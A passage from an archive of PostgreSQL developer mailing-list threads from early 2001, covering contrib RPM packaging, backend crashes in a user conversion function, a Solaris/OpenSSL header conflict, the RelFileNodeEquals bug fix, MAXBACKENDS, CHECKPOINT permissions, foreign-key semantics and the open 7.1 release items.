"msg_contents": "Lamar Owen <lamar.owen@wgcr.org> writes:\n> I think the cleanest way to provide the contrib programs is to build a\n> postgresql-contrib with _everything_ in it.\n>> \n>> This is what I do for the Debian release.\n\n> Precedent set; precedent followed. I'll be hopefully packaging the\n> _entire_ contrib tree :-) for beta 4, over the weekend.\n\nThe only potential downside is that the contrib tree has (historically)\nnot been as much shaken out for portability bugs as the main tree.\nYou might find that some contrib items don't build, let alone run,\neverywhere.\n\nThis probably isn't that big a danger for the RPMs, which only address\na narrow subset of Unixen, but I recommend keeping your antennae up\nfor possible problems.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Thu, 25 Jan 2001 23:36:03 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: RPM: Contrib request. "
},
{
"msg_contents": "Peter Eisentraut <peter_e@gmx.net> writes:\n>> But, in the instance of pg_dumplo -- can I get some ideas on it? Should\n>> it be shipped as a separate package, or in the -server subpackage, or??\n\n> It shouldn't be packaged at all because it's not necessary. (pg_dump\n> dumps large objects.)\n\nThe reason pg_dumplo is still there at all is that it might be handy for\nforward compatibility for people who are using pg_dumplo with 7.0.\n(Yeah, I know it wasn't *in* the 7.0 release, but I've been sending out\n7.0-compatible copies to anyone who asked about LO dumping lately.)\n\nI don't think pg_dumplo will be around for very many releases, but it\ndeserves to stay in contrib for a little while yet.\n\nMeanwhile, it's not the RPMs' place to editorialize on which contrib\nitems are useful. Package 'em all, unless we hit build problems.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Thu, 25 Jan 2001 23:51:09 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: RPM: Contrib request. "
},
{
"msg_contents": "Tom Lane wrote:\n> Meanwhile, it's not the RPMs' place to editorialize on which contrib\n> items are useful. Package 'em all, unless we hit build problems.\n\nInteresting point of view :-). Going into 'Uncle Martin' mode (obscure\njoke alert...).\n--\nLamar Owen\nWGCR Internet Radio\n1 Peter 4:11\n",
"msg_date": "Sat, 27 Jan 2001 08:09:55 -0500",
"msg_from": "Lamar Owen <lamar.owen@wgcr.org>",
"msg_from_op": true,
"msg_subject": "Re: RPM: Contrib request."
}
] |
[
{
"msg_contents": "I've got \"backend closed\" errors --- they seem to be indeterministic.\nI am using 7.0.2 but I tried this with 7.1beta3 as well and the error\nwas similar (but not completely same).\n\nI wrote a char* -> char* conversion function. Now I would use textout()\nand textin() to make it possible using my converter for varchars. I use\nthem, OK. But sometimes calling pfree() closes my backend.\n\nI haven't tried this with the new Datum-based builtin converter functions\nwith 7.1 yet because we are heavily standing on the base of 7.0.2.\n\nWhat I exactly did:\n\n 1. 2. 3. 4.\ntext* ----textout---> char* ---konvertal_c---> char* ----textin--> text*\n\nIn 7.0.2 if I use malloc() I only can release the 3. variable, if I\nwould do a free() for the 2. variable, I get the \"backend closed\" error\nat once. OK, I realized that a new way is suggested for doing this:\npalloc() and pfree(). OK, it works: no \"backend closed\" error if I use\nthem, or at least not at once. But I also get these type of errors,\nespecially for bigger queries or if I put my text* -> text* (i.e.\nvarchar -> varchar) conversion machine into an ORDER BY clause.\n\nIn 7.1beta3 I also got the next message:\n\nBackend message type 0x44 arrived while idle\npqReadData() -- backend closed the channel unexpectedly.\n This probably means the backend terminated abnormally\n before or while processing the request.\nThe connection to the server was lost. Attempting reset: Failed.\n\nThe differences between the 7.0.2 and 7.1beta3 behaviour, that\n7.1beta3 doesn't like pfree() calls.\n\nWhat to do? Please help if you can.\n\nRegards, Zoltan\n\n-- \n Kov\\'acs, Zolt\\'an\n kovacsz@pc10.radnoti-szeged.sulinet.hu\n http://www.math.u-szeged.hu/~kovzol\n ftp://pc10.radnoti-szeged.sulinet.hu/home/kovacsz\n\n",
"msg_date": "Thu, 25 Jan 2001 21:51:58 +0100 (CET)",
"msg_from": "Kovacs Zoltan <kovacsz@pc10.radnoti-szeged.sulinet.hu>",
"msg_from_op": true,
"msg_subject": "\"backend closed\" --- I'd like to write a conversion function"
},
{
"msg_contents": "\nYou probably should be getting core files from this. Have you tried\nrecompiling with debugging and asserts on and then looking through the\ncore file, that might give some more information as to the details.\n\nOn Thu, 25 Jan 2001, Kovacs Zoltan wrote:\n\n> I've got \"backend closed\" errors --- they seem to be indeterministic.\n> I am using 7.0.2 but I tried this with 7.1beta3 as well and the error\n> was similar (but not completely same).\n> [...] \n> What to do? Please help if you can.\n\n",
"msg_date": "Thu, 25 Jan 2001 13:25:05 -0800 (PST)",
"msg_from": "Stephan Szabo <sszabo@megazone23.bigpanda.com>",
"msg_from_op": false,
"msg_subject": "Re: \"backend closed\" --- I'd like to write a conversion\n function"
}
] |
[
{
"msg_contents": "I have a problem with the compilation of Postgres on Solaris with ssl \nsupport. The error I get is this when executing make:\n\ngcc -g -Wall -Wmissing-prototypes -Wmissing-declarations -I/usr/local/include \n-I/usr/local/ssl//include -I../../../src/include -c nodeTidscan.c -o \nnodeTidscan.ogcc -g -Wall -Wmissing-prototypes -Wmissing-declarations \n-I/usr/local/include -I/usr/local/ssl//include -I../../../src/include -c \nspi.c -o spi.o\n/usr/ccs/bin/ld -r -o SUBSYS.o execAmi.o execFlatten.o execJunk.o execMain.o \nexecProcnode.o execQual.o execScan.o execTuples.o execUtils.o functions.o \nnodeAppend.o nodeAgg.o nodeHash.o nodeHashjoin.o nodeIndexscan.o \nnodeMaterial.o nodeMergejoin.o nodeNestloop.o nodeResult.o nodeSeqscan.o \nnodeSetOp.o nodeSort.o nodeUnique.o nodeLimit.o nodeGroup.o nodeSubplan.o \nnodeSubqueryscan.o nodeTidscan.o spi.o\nmake[3]: Leaving directory \n`/space/pruebas/postgresql-7.1beta1/src/backend/executor'\n/usr/local/bin/make -C lib all\nmake[3]: Entering directory \n`/space/pruebas/postgresql-7.1beta1/src/backend/lib'\ngcc -g -Wall -Wmissing-prototypes -Wmissing-declarations -I/usr/local/include \n-I/usr/local/ssl//include -I../../../src/include -c bit.c -o bit.o\ngcc -g -Wall -Wmissing-prototypes -Wmissing-declarations -I/usr/local/include \n-I/usr/local/ssl//include -I../../../src/include -c hasht.c -o hasht.o\ngcc -g -Wall -Wmissing-prototypes -Wmissing-declarations -I/usr/local/include \n-I/usr/local/ssl//include -I../../../src/include -c lispsort.c -o lispsort.o\ngcc -g -Wall -Wmissing-prototypes -Wmissing-declarations -I/usr/local/include \n-I/usr/local/ssl//include -I../../../src/include -c stringinfo.c -o \nstringinfo.o\ngcc -g -Wall -Wmissing-prototypes -Wmissing-declarations -I/usr/local/include \n-I/usr/local/ssl//include -I../../../src/include -c dllist.c -o dllist.o\n/usr/ccs/bin/ld -r -o SUBSYS.o bit.o hasht.o lispsort.o stringinfo.o dllist.o\nmake[3]: Leaving directory \n`/space/pruebas/postgresql-7.1beta1/src/backend/lib'\n/usr/local/bin/make -C libpq all\nmake[3]: Entering directory \n`/space/pruebas/postgresql-7.1beta1/src/backend/libpq'\ngcc -g -Wall -Wmissing-prototypes -Wmissing-declarations -I/usr/local/include \n-I/usr/local/ssl//include -I../../../src/include -c be-fsstubs.c -o \nbe-fsstubs.o\ngcc -g -Wall -Wmissing-prototypes -Wmissing-declarations -I/usr/local/include \n-I/usr/local/ssl//include -I../../../src/include -c auth.c -o auth.o\ngcc -g -Wall -Wmissing-prototypes -Wmissing-declarations -I/usr/local/include \n-I/usr/local/ssl//include -I../../../src/include -c crypt.c -o crypt.o\nIn file included from crypt.c:27:\n/usr/include/crypt.h:23: conflicting types for `des_encrypt'\n/usr/local/ssl/include/openssl/des.h:150: previous declaration of \n`des_encrypt'\nmake[3]: *** [crypt.o] Error 1\nmake[3]: Leaving directory \n`/space/pruebas/postgresql-7.1beta1/src/backend/libpq'\nmake[2]: *** [libpq-recursive] Error 2\nmake[2]: Leaving directory `/space/pruebas/postgresql-7.1beta1/src/backend'\nmake[1]: *** [all] Error 2\nmake[1]: Leaving directory `/space/pruebas/postgresql-7.1beta1/src'\nmake: *** [all] Error 2\n*** Error code 2\nmake: Fatal error: Command failed for target `all'\n\n\nAny extra code you may want, just ask.\n\n-- \nSystem Administration: It's a dirty job, \nbut someone told I had to do it.\n-----------------------------------------------------------------\nMart�n Marqu�s\t\t\temail: \tmartin@math.unl.edu.ar\nSanta Fe - Argentina\t\thttp://math.unl.edu.ar/~martin/\nAdministrador de sistemas en math.unl.edu.ar\n-----------------------------------------------------------------\n",
"msg_date": "Thu, 25 Jan 2001 18:14:43 -0300",
"msg_from": "\"Martin A. Marques\" <martin@math.unl.edu.ar>",
"msg_from_op": true,
"msg_subject": "Talking about Solaris 7"
},
{
"msg_contents": "Hi.\n\nI had the same problem and sent bug report to openssl-users@openssl.org\nsome time ago (20 Sep 2000), so, hopefully, they will fix it eventualy.\n\nThere is a workaround for it. The comment in ssl/include/openssl/des.h\nsaid: `You should not use this function except to implement 'modes' of\nDES.', so you can just comment out declaration of des_encrypt (line 150)\nwithout any problem.\n\nOn Thu, 25 Jan 2001, Martin A. Marques wrote:\n\n> I have a problem with the compilation of Postgres on Solaris with ssl \n> support. The error I get is this when executing make:\n...\n> In file included from crypt.c:27:\n> /usr/include/crypt.h:23: conflicting types for `des_encrypt'\n> /usr/local/ssl/include/openssl/des.h:150: previous declaration of \n> `des_encrypt'\n\n\nRegards,\nASK\n\n",
"msg_date": "Mon, 29 Jan 2001 12:57:08 +0200 (IST)",
"msg_from": "Alexander Klimov <ask@wisdom.weizmann.ac.il>",
"msg_from_op": false,
"msg_subject": "Re: Talking about Solaris 7"
},
{
"msg_contents": "El Lun 29 Ene 2001 07:57, Alexander Klimov escribi�:\n> Hi.\n>\n> I had the same problem and sent bug report to openssl-users@openssl.org\n> some time ago (20 Sep 2000), so, hopefully, they will fix it eventualy.\n>\n> There is a workaround for it. The comment in ssl/include/openssl/des.h\n> said: `You should not use this function except to implement 'modes' of\n> DES.', so you can just comment out declaration of des_encrypt (line 150)\n> without any problem.\n\nNow, why are the definitions so different?\n\n/usr/include/crypt.h:23 (I guess this is Solaris crypt header)\n\nextern void des_encrypt(char *, int);\n\nand /usr/local/ssl/include/openssl/des.h:150 (this is from openssl)\n\nvoid des_encrypt(DES_LONG *data,des_key_schedule ks, int enc);\n\nI may be wrong, but why are the two functions decrared with different \narguments?\n\n\n-- \nSystem Administration: It's a dirty job, \nbut someone told I had to do it.\n-----------------------------------------------------------------\nMart�n Marqu�s\t\t\temail: \tmartin@math.unl.edu.ar\nSanta Fe - Argentina\t\thttp://math.unl.edu.ar/~martin/\nAdministrador de sistemas en math.unl.edu.ar\n-----------------------------------------------------------------\n",
"msg_date": "Mon, 29 Jan 2001 10:13:17 -0300",
"msg_from": "\"Martin A. Marques\" <martin@math.unl.edu.ar>",
"msg_from_op": true,
"msg_subject": "Re: Talking about Solaris 7"
},
{
"msg_contents": "On Mon, 29 Jan 2001, Martin A. Marques wrote:\n\n> El Lun 29 Ene 2001 07:57, Alexander Klimov escribiО©╫:\n> > Hi.\n> >\n> > I had the same problem and sent bug report to openssl-users@openssl.org\n> > some time ago (20 Sep 2000), so, hopefully, they will fix it eventualy.\n> >\n> > There is a workaround for it. The comment in ssl/include/openssl/des.h\n> > said: `You should not use this function except to implement 'modes' of\n> > DES.', so you can just comment out declaration of des_encrypt (line 150)\n> > without any problem.\n> \n> Now, why are the definitions so different?\n> \n> /usr/include/crypt.h:23 (I guess this is Solaris crypt header)\n> \n> extern void des_encrypt(char *, int);\n> \n> and /usr/local/ssl/include/openssl/des.h:150 (this is from openssl)\n> \n> void des_encrypt(DES_LONG *data,des_key_schedule ks, int enc);\n> \n> I may be wrong, but why are the two functions decrared with different \n> arguments?\n\nIt is just two different functions: one from ssl and one from solaris. You\nare not going to use either of them (postgress could not use solarise's\nversion because it propriate to solaris, and could not use ssl's because\nit is internal to ssl). The situation just semi-bug of ssl & solaris they\nhave name clash.\n\nRegards,\nASK\n\n",
"msg_date": "Mon, 29 Jan 2001 13:57:20 +0000 (GMT)",
"msg_from": "Alexander Klimov <ask@wisdom.weizmann.ac.il>",
"msg_from_op": false,
"msg_subject": "Re: Talking about Solaris 7"
}
] |
[
{
"msg_contents": "Do we need to do a bunch of testing on Beta3 before deployment or is it\nso much more stable that it absolutely will have no problems?\n\nWe haven't had any problems with the ~Nov 17 snapshot, so we figure why mess\nwith a good thing.\n\nTim\n\n\n\nOn Thu, Jan 25, 2001 at 08:23:30PM -0500, Jeff Duffy wrote:\n> Just wanted to make sure you saw this.\n> \n> Jeff\n> \n> ---------- Forwarded message ----------\n> Date: Thu, 25 Jan 2001 16:51:44 -0500 (EST)\n> From: Jan Wieck <janwieck@Yahoo.com>\n> To: pgsql-hackers@postgresql.org\n> Subject: Re: SourceForge & Postgres\n> \n> Tim Perdue wrote:\n> > I thought the hackers team would be interested in knowing that SourceForge, as\n> > of Friday evening, is running on Postgres. Some 95,000 users and 12,500 Open\n> > Source projects are depending on your stuff, so I hope it's going to be stable\n> > for us. ;-)\n> \n> Tim,\n> \n> the PG core team is wondering if SourceForge might still be\n> running on a snapshot prior to BETA3, because there is a\n> major bug in it that could result in a complete corruption of\n> the system catalog.\n> \n> The bug is that the shared buffer cache might mix up blocks\n> between different databases. As long as you only use one\n> database, you're fairly safe. But a single 'createdb' or\n> 'createuser' on the same instance, which is connecting to\n> template1, could blow away your entire installation. It is\n> fixed in BETA3.\n> \n> My personal recommendation should be clear.\n> \n> \n> Jan\n> \n> \n\n-- \nFounder - PHPBuilder.com / Geocrawler.com\nLead Developer - SourceForge\nVA Linux Systems\n",
"msg_date": "Thu, 25 Jan 2001 18:37:48 -0800",
"msg_from": "Tim Perdue <tim@sourceforge.net>",
"msg_from_op": true,
"msg_subject": "Re: SourceForge & Postgres (fwd)"
},
{
"msg_contents": "> Do we need to do a bunch of testing on Beta3 before deployment or is it\n> so much more stable that it absolutely will have no problems?\n> \n> We haven't had any problems with the ~Nov 17 snapshot, so we figure why mess\n> with a good thing.\n\nWell, seeing as we never tested the Nov 17 snapshot, and we have\nseriously tested beta3, I think you are certainly better off upgrading.\n\nWe don't normally have people running snapshots. This is not because\nthey are unstable, but because we don't trust them.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Fri, 26 Jan 2001 23:23:55 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Re: SourceForge & Postgres (fwd)"
},
{
"msg_contents": "Tim Perdue <tim@sourceforge.net> writes:\n> Do we need to do a bunch of testing on Beta3 before deployment or is it\n> so much more stable that it absolutely will have no problems?\n\nWell, it's more stable than any pre-beta snapshot is likely to be ...\n\n> We haven't had any problems with the ~Nov 17 snapshot, so we figure why mess\n> with a good thing.\n\nThat RelFileNodeEquals bug absolutely *will* eat you for breakfast\nsooner or later. If you want to live dangerously, stick with the\nsnapshot you have, but I beg you to apply this patch:\n\n===================================================================\nRCS file: /home/projects/pgsql/cvsroot/pgsql/src/include/storage/relfilenode.h,v\nretrieving revision 1.3\nretrieving revision 1.4\ndiff -c -r1.3 -r1.4\n*** pgsql/src/include/storage/relfilenode.h 2000/10/18 05:50:16 1.3\n--- pgsql/src/include/storage/relfilenode.h 2001/01/09 02:15:16 1.4\n***************\n*** 17,22 ****\n \n #define RelFileNodeEquals(node1, node2) \\\n ((node1).relNode == (node2).relNode && \\\n! (node2).tblNode == (node2).tblNode)\n \n #endif /* RELFILENODE_H */\n--- 17,22 ----\n \n #define RelFileNodeEquals(node1, node2) \\\n ((node1).relNode == (node2).relNode && \\\n! (node1).tblNode == (node2).tblNode)\n \n #endif /* RELFILENODE_H */\n\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sat, 27 Jan 2001 01:07:20 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Re: SourceForge & Postgres (fwd) "
}
] |
[
{
"msg_contents": "Just a quick patch to make the geometry test on Sparc/Linux\nregression tests for Pgsql 7.1beta3 pass. This is very similr to the one I\nsubmitted back in July for Linux/Alpha. Apparently non-x86 Linux machines\nlike to compute nth place float point digits like Sun/Solaris does?\n\tOtherwise, 7.1beta3 runs without problems (i.e. all other\nregression tests pass) on my Sparc 20 running Debian GNU/Linux 2.2.\nThanks.\n\n---------------------------------------------------------------------------\n| \"For to me to live is Christ, and to die is gain.\" |\n| --- Philippians 1:21 (KJV) |\n---------------------------------------------------------------------------\n| Ryan Kirkpatrick | Boulder, Colorado | http://www.rkirkpat.net/ |\n---------------------------------------------------------------------------",
"msg_date": "Thu, 25 Jan 2001 22:12:20 -0700 (MST)",
"msg_from": "Ryan Kirkpatrick <pgsql@rkirkpat.net>",
"msg_from_op": true,
"msg_subject": "Minor Sparc/Linux patch (regression test resultmap)...."
}
] |
[
{
"msg_contents": "It would require only very minor changes in the main backend code to\neliminate entirely the hard-wired upper bound MAXBACKENDS. This would\nbe nice since there'd never be any need to recompile in order to\nincrease the soft limit MaxBackends (-N). However I see that the\nSysV-semaphore emulation code used by the QNX and Darwin ports still\nmakes use of MAXBACKENDS to size some arrays. I don't especially want\nto touch that code, since I am in no position to test it. Perhaps\nsomeone who uses QNX and/or Darwin would like to tweak the sema code\nto not depend on a compile-time-constant MAXBACKENDS?\n\nI'm not thinking about getting this done in time for 7.1, but I think\nit'd be a nice cleanup for 7.2.\n\nBruce, a TODO item please:\n * Remove compile-time upper limit on number of backends (MAXBACKENDS)\n\n\t\t\tregards, tom lane\n",
"msg_date": "Fri, 26 Jan 2001 11:28:22 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": true,
"msg_subject": "Hardwired MAXBACKENDS limit could be history"
},
{
"msg_contents": "> It would require only very minor changes in the main backend code to\n> eliminate entirely the hard-wired upper bound MAXBACKENDS. This would\n> be nice since there'd never be any need to recompile in order to\n> increase the soft limit MaxBackends (-N). However I see that the\n> SysV-semaphore emulation code used by the QNX and Darwin ports still\n> makes use of MAXBACKENDS to size some arrays. I don't especially want\n> to touch that code, since I am in no position to test it. Perhaps\n> someone who uses QNX and/or Darwin would like to tweak the sema code\n> to not depend on a compile-time-constant MAXBACKENDS?\n> \n> I'm not thinking about getting this done in time for 7.1, but I think\n> it'd be a nice cleanup for 7.2.\n> \n> Bruce, a TODO item please:\n> * Remove compile-time upper limit on number of backends (MAXBACKENDS)\n\nAdded to TODO.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Fri, 26 Jan 2001 23:43:00 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Hardwired MAXBACKENDS limit could be history"
}
] |
[
{
"msg_contents": "> > Yes, there should be permission checking - I'll add it \n> > later (in 7.1) if no one else.\n> \n> Should be simple enough. Is this okay:\n\nI think yes - please apply.\n\nVadim\n",
"msg_date": "Fri, 26 Jan 2001 08:59:41 -0800",
"msg_from": "\"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM>",
"msg_from_op": true,
"msg_subject": "RE: Permissions on CHECKPOINT "
}
] |
[
{
"msg_contents": "> Actually, I think a more interesting question is \"should CHECKPOINT\n> have permission restrictions? If so, what should they be?\"\n> \n> A quite relevant precedent is that Unix systems (at least the ones\n> I've used) do not restrict who can call sync().\n\nCheckpoints 1. affect entire system, 2. increase log output and\n3. it's hard operation. Command itself was added mostly for debug\npurposes.\n\nVadim\n",
"msg_date": "Fri, 26 Jan 2001 09:07:40 -0800",
"msg_from": "\"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM>",
"msg_from_op": true,
"msg_subject": "RE: Permissions on CHECKPOINT "
}
] |
[
{
"msg_contents": "> I'm not thinking about getting this done in time for 7.1, but I think\n> it'd be a nice cleanup for 7.2.\n> \n> Bruce, a TODO item please:\n> * Remove compile-time upper limit on number of backends \n> (MAXBACKENDS)\n\nDid you ever consider remove per-backend semaphores at all?\nWe use them to sleep waiting for lock (ie when someone awake\nus by changing our semaphore) - why don't use sigpause and\nsome signal? Semaphores are good to sync access to *shared*\nresources but it's not that case here.\n\nVadim\n",
"msg_date": "Fri, 26 Jan 2001 09:29:08 -0800",
"msg_from": "\"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM>",
"msg_from_op": true,
"msg_subject": "RE: Hardwired MAXBACKENDS limit could be history"
},
{
"msg_contents": "\"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM> writes:\n> Did you ever consider remove per-backend semaphores at all?\n> We use them to sleep waiting for lock (ie when someone awake\n> us by changing our semaphore) - why don't use sigpause and\n> some signal?\n\nThat'll fail if the signal arrives before the sigpause(), no?\n\n> Semaphores are good to sync access to *shared*\n> resources but it's not that case here.\n\nThe thing we really need here is that the right thing has to happen\nif the V() occurs before our P(), ie, the V() has to be remembered\nso that we will fall through the P() without blocking.\n\nWhat I'd like to look at sometime soon is using POSIX semaphores\ninstead of SysV semaphores. But we need stateful semaphores,\nnot signals.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Fri, 26 Jan 2001 12:47:42 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Hardwired MAXBACKENDS limit could be history "
}
] |
[
{
"msg_contents": "Bruce Momjian wrote:\n> Here are my open 7.1 items. Thanks for shrinking the list so far.\n>\n> ---------------------------------------------------------------------------\n>\n> FreeBSD locale bug\n> Reorder INSERT firing in rules\n\n I don't recall why this is wanted. AFAIK there's no reason\n NOT to do so, except for the actual state of beeing far too\n close to a release candidate.\n\n> Philip Warner UPDATE crash\n> JDBC LargeObject short read return value missing\n> SELECT cash_out(1) crashes all backends\n> LAZY VACUUM\n> FOREIGN KEY INSERT & UPDATE/DELETE in transaction \"change violation\"\n\n A well known issue, and I've asked multiple times how exactly\n we want to define the behaviour for deferred constraints. Do\n foreign keys reference just to a key value and are happy with\n it's existance, or do they refer to a particular row?\n\n Consider you have a deferred \"ON DELETE CASCADE\" constraint\n and do a DELETE, INSERT of a PK. Do the FK rows need to be\n deleted or not?\n\n Consider you have a deferred \"ON DELETE RESTRICT\" and \"ON\n UPDATE CASCADE\" constraint. If you DELETE PK1 and UPDATE PK2\n to PK1, the FK2 rows need to follow, but does PK2 inherit all\n FK1 rows now so it's the master of both groups?\n\n These are only two possible combinations. There are many to\n think of. As said, I've asked before, but noone voted yet.\n Move the item to 7.2 anyway, because changing this behaviour\n would require massive changes in the trigger queue *and* the\n generic RI triggers, which cannot be tested enough any more.\n\n\nJan\n\n> Usernames limited in length\n> Does pg_dump preserve COMMENTs?\n> Failure of nested cursors in JDBC\n> JDBC setMaxRows() is global variable affecting other objects\n> Does JDBC Makefile need current dir?\n> Fix for pg_dump of bad system tables\n> Steve Howe failure query with rules\n> ODBC/JDBC not disconnecting properly?\n> Magnus Hagander ODBC issues?\n> Merge MySQL/PgSQL translation scripts\n> Fix ipcclean on Linux\n> Merge global and template BKI files?\n>\n>\n> --\n> Bruce Momjian | http://candle.pha.pa.us\n> pgman@candle.pha.pa.us | (610) 853-3000\n> + If your life is a hard drive, | 830 Blythe Avenue\n> + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n>\n\n\n--\n\n#======================================================================#\n# It's easier to get forgiveness for being wrong than for being right. #\n# Let's break this rule - forgive me. #\n#================================================== JanWieck@Yahoo.com #\n\n\n_________________________________________________________\nDo You Yahoo!?\nGet your free @yahoo.com address at http://mail.yahoo.com\n\n",
"msg_date": "Fri, 26 Jan 2001 12:30:05 -0500 (EST)",
"msg_from": "Jan Wieck <janwieck@Yahoo.com>",
"msg_from_op": true,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "Jan Wieck <janwieck@Yahoo.com> writes:\n> Bruce Momjian wrote:\n>> Reorder INSERT firing in rules\n\n> I don't recall why this is wanted. AFAIK there's no reason\n> NOT to do so, except for the actual state of beeing far too\n> close to a release candidate.\n\nI think I've been the main person arguing for this change, but I\nagree with Jan that this late in the cycle is not the time to be\nmaking such decisions. Let's discuss it again during 7.2 cycle.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Fri, 26 Jan 2001 13:54:40 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items "
}
] |
[
{
"msg_contents": "\n> > FOREIGN KEY INSERT & UPDATE/DELETE in transaction \"change violation\"\n> \n> A well known issue, and I've asked multiple times how exactly\n> we want to define the behaviour for deferred constraints. Do\n> foreign keys reference just to a key value and are happy with\n> it's existance, or do they refer to a particular row?\n\nSorry, to answer late. I didn't know this needed clarification.\nThe answer is simple, foreign keys only reference a key value,\nnot a particular row.\n\nAndreas\n",
"msg_date": "Fri, 26 Jan 2001 18:52:33 +0100",
"msg_from": "Zeugswetter Andreas SB <ZeugswetterA@wien.spardat.at>",
"msg_from_op": true,
"msg_subject": "AW: Open 7.1 items"
},
{
"msg_contents": "Zeugswetter Andreas SB <ZeugswetterA@wien.spardat.at> writes:\n> FOREIGN KEY INSERT & UPDATE/DELETE in transaction \"change violation\"\n>> \n>> A well known issue, and I've asked multiple times how exactly\n>> we want to define the behaviour for deferred constraints. Do\n>> foreign keys reference just to a key value and are happy with\n>> it's existance, or do they refer to a particular row?\n\n> Sorry, to answer late. I didn't know this needed clarification.\n> The answer is simple, foreign keys only reference a key value,\n> not a particular row.\n\nCite chapter and verse in the spec, please?\n\n\t\t\tregards, tom lane\n",
"msg_date": "Fri, 26 Jan 2001 16:30:42 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: AW: Open 7.1 items "
}
] |
[
{
"msg_contents": "> > FOREIGN KEY INSERT & UPDATE/DELETE in transaction \"change violation\"\n> \n> A well known issue, and I've asked multiple times how exactly\n> we want to define the behaviour for deferred constraints. Do\n> foreign keys reference just to a key value and are happy with\n> it's existance, or do they refer to a particular row?\n\nI think first. The last is closer to OODBMS world, not to [O]RDBMS one.\n\n> Consider you have a deferred \"ON DELETE CASCADE\" constraint\n> and do a DELETE, INSERT of a PK. Do the FK rows need to be\n> deleted or not?\n\nGood example. I think FK should not be deleted. If someone really\nwant to delete \"old\" FK then he can do \n\nDELETE PK;\nSET CONSTRAINT ... IMMEDIATE; -- FK need to be deleted here\nINSERT PK;\n\n> Consider you have a deferred \"ON DELETE RESTRICT\" and \"ON\n> UPDATE CASCADE\" constraint. If you DELETE PK1 and UPDATE PK2\n> to PK1, the FK2 rows need to follow, but does PK2 inherit all\n> FK1 rows now so it's the master of both groups?\n\nYes. Again one can use SET CONSTRAINT to achieve desirable results.\nIt seems that SET CONSTRAINT was designed for these purposes - ie\nfor better flexibility.\n\nThough, it would be better to look how other DBes handle all these\ncases -:)\n\nVadim\n",
"msg_date": "Fri, 26 Jan 2001 10:02:59 -0800",
"msg_from": "\"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM>",
"msg_from_op": true,
"msg_subject": "RE: Open 7.1 items"
}
] |
[
{
"msg_contents": "> > Did you ever consider remove per-backend semaphores at all?\n> > We use them to sleep waiting for lock (ie when someone awake\n> > us by changing our semaphore) - why don't use sigpause and\n> > some signal?\n> \n> That'll fail if the signal arrives before the sigpause(), no?\n\nOps, you're right.\n\n> > Semaphores are good to sync access to *shared*\n> > resources but it's not that case here.\n> \n> The thing we really need here is that the right thing has to happen\n> if the V() occurs before our P(), ie, the V() has to be remembered\n> so that we will fall through the P() without blocking.\n> \n> What I'd like to look at sometime soon is using POSIX semaphores\n> instead of SysV semaphores. But we need stateful semaphores,\n> not signals.\n\nConditional variables seem to be more portable - recently I had to\nrewrite some program with POSIX sem developed under Solaris when\nporting to AIX. (BTW, OmniORB uses cond vars to simulate semaphores).\n\nVadim\n",
"msg_date": "Fri, 26 Jan 2001 10:24:12 -0800",
"msg_from": "\"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM>",
"msg_from_op": true,
"msg_subject": "RE: Hardwired MAXBACKENDS limit could be history "
},
{
"msg_contents": "\"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM> writes:\n>> What I'd like to look at sometime soon is using POSIX semaphores\n>> instead of SysV semaphores. But we need stateful semaphores,\n>> not signals.\n\n> Conditional variables seem to be more portable\n\nReally? Which standard are they specified in?\n\nI have no intention of removing the SysV sem support, mind you;\nI just think it might be good to have an alternative implementation\nthat relies on a more modern standard ...\n\n\t\t\tregards, tom lane\n",
"msg_date": "Fri, 26 Jan 2001 16:33:36 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Hardwired MAXBACKENDS limit could be history "
}
] |
[
{
